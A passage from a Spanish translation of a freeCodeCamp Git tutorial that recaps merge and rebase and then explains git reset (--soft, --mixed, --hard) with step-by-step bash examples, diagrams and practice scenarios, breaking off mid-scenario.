<em><em>primer</em></em> rama, y otro diff desde la base de fusión a la <em><em>segunda</em></em> rama. Git genera parches basados en esos diffs.</li><li>Tercero y último, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.</li></ul><p>Viste la salida de <code>git diff</code> cuando estamos en un estado de conflicto, y cómo resolver conflictos sea de forma manual o con VS Code.</p><p>Por último, aprendiste Git rebase. Viste que <code>git rebase</code> es poderoso - pero también es bastante sencillo una vez que entiendes lo que hace. Es una herramienta para "copiar-pegar" confirmaciones (o, más específicamente, parches).</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/compare_rebase_merge-1.png" class="kg-image" alt="Comparing rebase and merge" width="600" height="400" loading="lazy"><figcaption>Comparing rebase and merge</figcaption></figure><p>Ambos <code>git merge</code> y <code>git rebase</code> se usan para integrar cambios introducidos en diferentes historiales.</p><p>Aunque, difieren en cómo operan. Mientras que la fusión resulta en un historial <em><em>divergente</em></em>, los resultados de hacer rebase resulta en un historial <em><em>linear</em></em>. <code>git rebase</code> <em><em>cambia</em></em> el historial, mientras que <code>git merge</code> agrega al historial existente.</p><p>Con este entendimiento profundo de diffs, parches, fusión y rebase, deberías sentirte confiado al introducir cambios a un repositorio git.</p><p>La próxima parte se enfocará en lo que sucede cuando las cosas salen mal - cómo puedes cambiar el historial (con o sin <code>git rebase</code>), o encontrar confirmaciones "perdidas".</p><!--kg-card-begin: html--><h1 id="part-3">Parte 3 - Deshacer cambios</h1><!--kg-card-end: html--><p>Alguna vez llegaste a un punto donde dijiste: "Oh-oh, ¿qué es lo que hice?" Supongo que lo hiciste, así como cualquiera que usa Git.</p><p>Tal vez confirmaste a la rama equivocada. Tal vez perdiste algo de código que has escrito. Tal vez confirmaste algo que no era tu intención de hacer.</p><p>Esta parte te dará las herramientas para reescribir el historial con confianza, de esa forma "deshacer" todo tipos de cambios en Git.</p><p>Así como las otras partes del libro, esta parte será practica aunque a profundidad - así que en vez de proveerte una lista de qué a hacer cuando las cosas salen mal, entenderemos los mecanismos subyacentes, así te sentirás confiable cuando sea que llegues al momento "oh-oh". En realidad, encontrarás estos momentos como oportunidades para un desafió interesante, en vez de un escenario espantoso.</p><!--kg-card-begin: html--><h2 id="cap-9">Capítulo 9 - Git Reset</h2><!--kg-card-end: html--><p>Nuestro trayecto comienza con un comando potente que puede ser usado para deshacer muchas diferentes acciones con Git - <code>git reset</code>.</p><h3 id="un-peque-o-recordatorio-registrando-cambios"><strong>Un pequeño recordatorio - Registrando cambios</strong></h3><p>En el <a href="#cap-3">capítulo 3</a>, aprendiste cómo registrar cambios en Git. Si recuerdas todo de esta parte, puedes saltar la próxima sección.</p><p>Es útil imaginarse a Git como un sistema para registrar copias instantáneas de un sistema de archivos en el tiempo. Considerando un repositorio de Git, tiene tres "estados" o "árboles":</p><ol><li>El <strong><strong>directorio de trabajo</strong></strong>, un directorio que tiene un repositorio asociado.</li><li>El <strong>área de preparación<strong> (índice)</strong></strong> el cual tiene el árbol para la próxima confirmación.</li><li>El <strong><strong>repositorio</strong></strong>, el cual es una colección de confirmaciones y referencias.</li></ol><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_trees.png" class="kg-image" alt="The three &quot;trees&quot; of a Git repo" width="600" height="400" loading="lazy"><figcaption>The three "trees" of a Git repo</figcaption></figure><p>Fíjate que con respecto a las convenciones de dibujo que utilizo: incluyo <code>.git</code> dentro del directorio de trabajo, para recordarte es una carpeta dentro de la carpeta del proyecto en el sistema de archivos. La carpeta <code>.git</code> en realidad contiene los objetos y las referencias del repositorio, como se explicó en el <a href="#cap-4">capítulo 4</a>.</p><h3 id="demostraci-n-pr-ctica"><strong>Demostración práctica</strong></h3><p>Usa <code>git init</code> para inicializar un nuevo repositorio. Escribe algo de texto en un archivo llamado <code>1.txt</code>:</p><pre><code class="language-bash">mkdir my_repo
cd my_repo
git init
echo Hello world &gt; 1.txt
</code></pre><p>De los tres estados descritos arriba, ¿dónde está <code>1.txt</code> ahora?</p><p>En el árbol de trabajo, ya que todavía no ha sido introducido al índice.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/1_txt_working_dir.png" class="kg-image" alt="The file  is now a part of the working dir only" width="600" height="400" loading="lazy"><figcaption>The file <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">1.txt</code> is now a part of the working dir only</figcaption></figure><p>Para ponerlo en <em>área de preparación</em>, para agregarlo al índice, usa:</p><pre><code class="language-bash">git add 1.txt
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/1_txt_index.png" class="kg-image" alt="Using  stages the file so it is now in the index as well" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git add</code> stages the file so it is now in the index as well</figcaption></figure><p>Fíjate que una vez que pones en el área de preparación <code>1.txt</code>, Git crea un objeto blob con el contenido de este archivo, y lo agrega a la base de datos de objetos interno (dentro de la carpeta <code>.git</code>), como se cubrió en el <a href="#cap-3">capítulo 3</a> y <a href="#cap-4">capítulo 4</a>. No lo dibujo como parte del "repositorio" ya que en esta representación, el "repositorio" se refiere a un árbol de confirmaciones y sus referencias, y este blob no ha sido parte de ninguna confirmación.</p><p>Ahora, usa <code>git commit</code> para confirmar tus cambios al repositorio:</p><pre><code class="language-bash">git commit -m "Commit 1"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_1.png" class="kg-image" alt="Using  creates a commit object in the repository" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git commit</code> creates a commit object in the repository</figcaption></figure><p>Creaste un nuevo objeto de <strong><strong>confirmación</strong></strong>, el cual incluye un puntero a un <strong><strong>árbol</strong></strong> que describe todo el <strong><strong>árbol de trabajo</strong></strong>. En este caso, este árbol consiste solamente de <code>1.txt</code> dentro de la carpeta raíz. Además de un puntero al árbol, el objeto de confirmación incluye metadatos, tales como marcas de tiempo e información del autor.</p><p>Cuando se considera los diagramas, fíjate que solamente tenemos una sola copia del archivo <code>1.txt</code> en el disco, y un objeto blob correspondiente en la base de datos de objetos de Git. El árbol del "repositorio" ahora muestra este archivo ya que es parte de la confirmación activa - eso es, el objeto de confirmación "Commit 1" apunta a un árbol que apunta al blob con los contenidos de <code>1.txt</code>, el mismo blob al que el índice está apuntando.</p><p>Para más información sobre los objetos en Git (tales como confirmaciones y árboles), ve al <a href="#cap-1">capítulo 1</a>.</p><p>Luego, crea un nuevo archivo, y agrégalo al índice, como antes:</p><pre><code class="language-bash">echo second file &gt; 2.txt
git add 2.txt
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/2_txt_index.png" class="kg-image" alt="The file  is in the working dir and the index after staging it with " width="600" height="400" loading="lazy"><figcaption>The file <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">2.txt</code> is in the working dir and the index after staging it with <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git add</code></figcaption></figure><p>Luego, confirma:</p><pre><code class="language-bash">git commit -m "Commit 2"
</code></pre><p>Muy importante, <code>git commit</code> hace dos cosas:</p><p>Primero, crea un <strong><strong>objeto de confirmación</strong></strong>, así que hay un objeto dentro de la base de datos de objetos interno de Git con un valor SHA-1 correspondiente. Este nuevo objeto de confirmación también apunta a la confirmación antecesor. Ese es la confirmación al que <code>HEAD</code> estaba apuntando cuando escribiste el comando <code>git commit</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_commit_object.png" class="kg-image" alt="A new commit object has been created, at first —  still points to the previous commit" width="600" height="400" loading="lazy"><figcaption>A new commit object has been created, at first - <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> still points to the previous commit</figcaption></figure><p>Segundo, <code>git commit</code> <strong><strong>mueve el puntero de la rama activa</strong></strong> – en nuestro caso, eso sería <code>main</code>, a que apunte al objeto de confirmación creado recientemente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_updates_active_branch.png" class="kg-image" alt=" also updates the active branch to point to the newly created commit object" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git commit</code> also updates the active branch to point to the newly created commit object</figcaption></figure><h3 id="introduciendo-git-reset"><strong>Introduciendo <code>git reset</code></strong></h3><p>Ahora aprenderás cómo revertir el proceso de introducir una confirmación. Para eso, aprenderás el comando <code>git reset</code>.</p><h4 id="git-reset-soft"><strong><code>git reset --soft</code></strong></h4><p>El último paso que hiciste antes fue <code>git commit</code>, el cual en realidad significa dos cosas – Git creó un objeto de confirmación y movió a <code>main</code>, la rama activa. Para deshacer este paso, usa el siguiente comando:</p><pre><code class="language-bash">git reset --soft HEAD~1
</code></pre><p>La sintaxis <code>HEAD~1</code> se refiere al primer antecesor de <code>HEAD</code>. Considera un caso donde tenía más de una confirmación en el gráfico de confirmaciones, digamos que "Commit 3" está apuntando a "Commit 2", el cual, en sí, está apuntando a "Commit 1". Y considera que <code>HEAD</code> estaba apuntando a "Commit 3". Podrías usar <code>HEAD~1</code> para referirte a "Commit 2", y <code>HEAD~2</code> se referiría a "Commit 1".</p><p>Así que, devuelta al comando: <code>git reset --soft HEAD~1</code>.</p><p>Este comando le pide a Git que cambie cualquier <code>HEAD</code> al que está apuntando. (Nota: En los diagramas de abajo, uso <code>*HEAD</code> para "cualquier <code>HEAD</code> al que está apuntando".) En nuestro ejemplo, el <code>HEAD</code> está apuntando a <code>main</code>. Así que Git solamente cambiará el puntero de <code>main</code> a que apunte a <code>HEAD~1</code>. Eso es, <code>main</code> apuntará al "Commit 1".</p><p>Sin embargo, este comando <strong><strong>no</strong></strong> afectará el estado del índice o el árbol de trabajo. Así que si usas <code>git status</code> verás que <code>2.txt</code> está en el área de preparación, justo como antes que ejecutaste <code>git commit</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_reset_soft.png" class="kg-image" alt=" shows that  is in the index, but not in the active commit" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> shows that <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">2.txt</code> is in the index, but not in the active commit</figcaption></figure><p>El estado es ahora:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reset_soft_1.png" class="kg-image" alt="Resetting  to &quot;Commit 1&quot;" width="600" height="400" loading="lazy"><figcaption>Resetting <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> to "Commit 1"</figcaption></figure><p>(Nota: quité <code>2.txt</code> del "repositorio" en el diagrama ya que no es parte de la confirmación activa - eso es, el árbol apuntado por el "Commit 1" no referencia a este archivo. Sin embargo, no ha sido quitado del sistema de archivos - ya que existe en el árbol de trabajo y el índice.)</p><p>¿Qué hay sobre <code>git log</code>? Comenzará desde el <code>HEAD</code>, va al <code>main</code>, y luego a "Commit 1":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_after_reset_soft.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code></figcaption></figure><p>Fíjate que esto significa que "Commit 2" ya no es alcanzable desde nuestro historial.</p><p>¿Eso significa que el objeto de confirmación de "Commit 2" se elimina?</p><p>No, no se elimina. Todavía residen dentro de la base de datos de objetos interno de Git.</p><p>Si subes el historial actual ahora, usando <code>git push</code>, Git no empujará el "Commit 2" al servidor remoto (ya que no es alcanzable desde el <code>HEAD</code> actual), pero el objeto de confirmación <em><em>todavía</em></em> existe en tu copia local del repositorio.</p><p>Ahora, confirma nuevamente - y use el mensaje de confirmación de "Commit 2.1" para diferenciar este nuevo objeto desde el "Commit 2" original:</p><pre><code class="language-bash">git commit -m "Commit 2.1"
</code></pre><p>Este el estado resultante:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_2_1.png" class="kg-image" alt="Creating a new commit" width="600" height="400" loading="lazy"><figcaption>Creating a new commit</figcaption></figure><p>Omití el "Commit 2" ya que no es alcanzable desde el <code>HEAD</code>, aunque su objeto existe en la base de datos de objetos interno de Git.</p><p>¿Por qué "Commit 2" y "Commit 2.1" son distintos? Inclusive si usáramos el mismo mensaje de confirmación, y aunque apunten al mismo objeto de árbol (de la carpeta raíz consistiendo de <code>1.txt</code> y <code>2.txt</code>), todavía tienen distintas marcas de tiempo, ya que fueron creados en diferentes tiempos. Ambos "Commit 2" y "Commit 2.1" ahora apuntan a "Commit 1", sino que solamente "Commit 2.1" es alcanzable desde el <code>HEAD</code>.</p><h4 id="git-reset-mixed"><strong><code>git reset --mixed</code></strong></h4><p>Es tiempo de deshacer aún mas allá. Esta vez, usa:</p><pre><code class="language-bash">git reset --mixed HEAD~1
</code></pre><p>(Nota: <code>--mixed</code> es el conmutador predeterminado para <code>git reset</code>.)</p><p>Este comando comienza de la misma forma que <code>git reset --soft HEAD~1</code>. Eso es, el comando toma el puntero de cualquier <code>HEAD</code> que está apuntando ahora, el cual es la rama <code>main</code>, y lo establece a <code>HEAD~1</code>, en nuestro ejemplo - "Commit 1".</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_mixed_1.png" class="kg-image" alt="The first step of  is the same as " width="600" height="400" loading="lazy"><figcaption>The first step of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --mixed</code> is the same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --soft</code></figcaption></figure><p>Luego, Git va más allá, efectivamente deshaciendo los cambios que hicimos al índice. Eso es, cambiar el índice para que coincida con el <code>HEAD</code> actual, el nuevo <code>HEAD</code> después de establecerlo en el primer paso.</p><p>Si ejecutáramos <code>git reset --mixed HEAD~1</code>, entonces el <code>HEAD</code> (<code>main</code>) sería puesto al <code>HEAD~1</code> ("Commit 1"), y luego Git coincidiría el índice al estado de "Commit 1" - en este caso, significa que <code>2.txt</code> ya no sería parte del índice.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_mixed_2.png" class="kg-image" alt="The second step of  is to match the index with the new " width="600" height="400" loading="lazy"><figcaption>The second step of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --mixed</code> is to match the index with the new <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Es tiempo de crear una nueva confirmación con el estado del "Commit 2" original. Esta vez necesita poner en el área de preparación a <code>2.txt</code> nuevamente antes de crearlo:</p><pre><code class="language-bash">git add 2.txt
git commit -m "Commit 2.2"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_2_2.png" class="kg-image" alt="Creating &quot;Commit 2.2&quot;" width="600" height="400" loading="lazy"><figcaption>Creating "Commit 2.2"</figcaption></figure><p>De forma similar a "Commit 2.1", "nombro" a esta confirmación "Commit 2.2" para diferenciarlo del del "Commit 2" original o "Commit 2.1" - estas confirmaciones resultan en el mismo estado que el "Commit 2" original, pero son distintos objetos de confirmación.</p><h4 id="git-reset-hard"><strong><code>git reset --hard</code></strong></h4><p>Continúa, ¡deshaz aún más!</p><p>Esta vez, usa el conmutador <code>--hard</code>, y ejecuta:</p><pre><code class="language-bash">git reset --hard HEAD~1
</code></pre><p>Una vez más, Git comienza con el paso <code>--soft</code>, estableciendo cualquier <code>HEAD</code> que esté apuntando a (<code>main</code>), a que apunte a <code>HEAD~1</code> ("Commit 1").</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_hard_1-1.png" class="kg-image" alt="The first step of  is the same as " width="600" height="400" loading="lazy"><figcaption>The first step of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard</code> is the same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --soft</code></figcaption></figure><p>Luego, moviéndonos al siguiente paso <code>--mixed</code>, coincidiendo con el índice con <code>HEAD</code>. Eso es, Git deshace el paso de <code>2.txt</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_hard_2-1.png" class="kg-image" alt="The second step of  is the same as " width="600" height="400" loading="lazy"><figcaption>The second step of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard</code> is the same as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --mixed</code></figcaption></figure><p>Luego viene el paso de <code>--hard</code>, donde Git va mas allá y coincide con el directorio de trabajo con la etapa del índice. En este caso, significa también quitar <code>2.txt</code> del directorio de trabajo.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_hard_3.png" class="kg-image" alt="The third step of  matches the state of the working dir with that of the index" width="600" height="400" loading="lazy"><figcaption>The third step of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard</code> matches the state of the working dir with that of the index</figcaption></figure><p>(<strong>Nota</strong>: en este caso específico, el archivo no está registrado, así que no será eliminado del sistema de archivos; no es realmente importante para entender <code>git reset</code>.)</p><p>Así que para introducir un cambio en Git, tienes tres pasos: cambias el directorio de trabajo, el índice, o el área de preparación, y luego confirmas una nueva copia instantánea con esos cambios. Para deshacer estos cambios:</p><ul><li>Si usamos <code>git reset --soft</code>, deshacemos el último paso.</li><li>Si usamos <code>git reset --mixed</code>, también deshacemos el paso del copia instantánea.</li><li>Si usamos <code>git reset --hard</code>, deshacemos los cambios al directorio de trabajo.</li></ul><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_switches.png" class="kg-image" alt="The three main switches of " width="600" height="400" loading="lazy"><figcaption>The three main switches of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset</code></figcaption></figure><h3 id="escenarios-de-la-vida-real"><strong>Escenarios de la vida real</strong></h3><!--kg-card-begin: html--><h4 id="scenery-1">Escenario #1</h4><!--kg-card-end: html--><p>Así que en un escenario de la vida real, escribe "I love Git" en un archivo (<code>love.txt</code>), ya que todos amamos Git 😍. Adelante, pónlo en el área de preparación y confirmas esto también:</p><pre><code class="language-bash">echo I love Git &gt; love.txt
git add love.txt
git commit -m "Commit 2.3"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_2_3.png" class="kg-image" alt="Creating &quot;Commit 2.3&quot;" width="600" height="400" loading="lazy"><figcaption>Creating "Commit 2.3"</figcaption></figure><p>También, guarda una etiqueta así puedes volver a esta confirmación más tarde si es necesario:</p><pre><code class="language-bash">git tag scenario-1
</code></pre><p>Oh, oops!</p><p>En realidad, no quería que lo confirmaras.</p><p>Lo que en realidad quería que hicieras era escribir algunas otras palabras lindas en este archivo antes de confirmarlo.</p><p>¿Qué puedes hacer?</p><p>Bueno, una forma de superar esto sería usar <code>git reset --mixed HEAD~1</code>, efectivamente deshaciendo tanto la confirmación y las acciones del área de preparación que tomaste:</p><pre><code class="language-bash">git reset --mixed HEAD~1
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reset_commit_2_3.png" class="kg-image" alt="Undoing the staging and committing steps" width="600" height="400" loading="lazy"><figcaption>Undoing the staging and committing steps</figcaption></figure><p>Así que <code>main</code> apunta a "Commit 1" nuevamente, y <code>love.txt</code> ya no es una parte del índice. Sin embargo, el archivo permanece en el directorio de trabajo. Ahora puedes agregarle mas contenido:</p><pre><code class="language-bash">echo and Gitting Things Done &gt;&gt; love.txt
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/adding_love_lyrics.png" class="kg-image" alt="Adding more love lyrics" width="600" height="400" loading="lazy"><figcaption>Adding more love lyrics</figcaption></figure><p>Pónlo en el área de preparación y confirma tu archivo:</p><pre><code class="language-bash">git add love.txt
git commit -m "Commit 2.4"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_2_4.png" class="kg-image" alt="Introducing &quot;Commit 2.4&quot;" width="600" height="400" loading="lazy"><figcaption>Introducing "Commit 2.4"</figcaption></figure><p>¡Bien hecho!</p><p>Lo tienes claro, lindo historial de "Commit 2.4" apuntando a "Commit 1".</p><p>Ahora tienes una nueva herramienta en tu caja de herramientas, <code>git reset</code>.</p><p>Esta herramienta es super, super útil, y puedes logar casi cualquier cosa con él. No es siempre la herramienta más conveniente, pero es capaz de resolver casi cualquier escenario de reescritura de historial si lo usas con cuidado.</p><p>Para principiantes, te recomiendo usar solamente <code>git reset</code> para casi cualquier vez que quieras deshacer en Git. Una vez que te sientas cómodo con él, continúa con otras herramientas.</p><h4 id="escenario-2">Escenario #2</h4><p>Consideremos otro caso.</p><p>Crea un nuevo archivo llamado <code>new.txt</code>; pónlo en el área de preparación y confirma:</p><pre><code class="language-bash">echo this is a new file &gt; new.txt
git add new.txt
git commit -m "Commit 3"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_3.png" class="kg-image" alt="Creating  and &quot;Commit 3&quot;" width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new.txt</code> and "Commit 3"</figcaption></figure><p>(Nota: En el dibujo omití los archivos del repositorio para evitar desorden. Commit 3 incluye <code>1.txt</code>, <code>love.txt</code> y <code>new.txt</code> en esta etapa.)</p><p>Ups. En realidad, eso es un error. Estabas en <code>main</code>, y quería que crearas esta confirmación en una rama feature. Mi culpa 😇</p><p>Hay dos herramientas mas importantes que quiero que tomes de este capítulo. El <em><em>segundo</em></em> es <code>git reset</code>. El primero y el más importante es limpiar el estado actual versus el estado en el que quieres que esté.</p><p>Para este escenario, el estado actual y el estado deseado lucen así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img 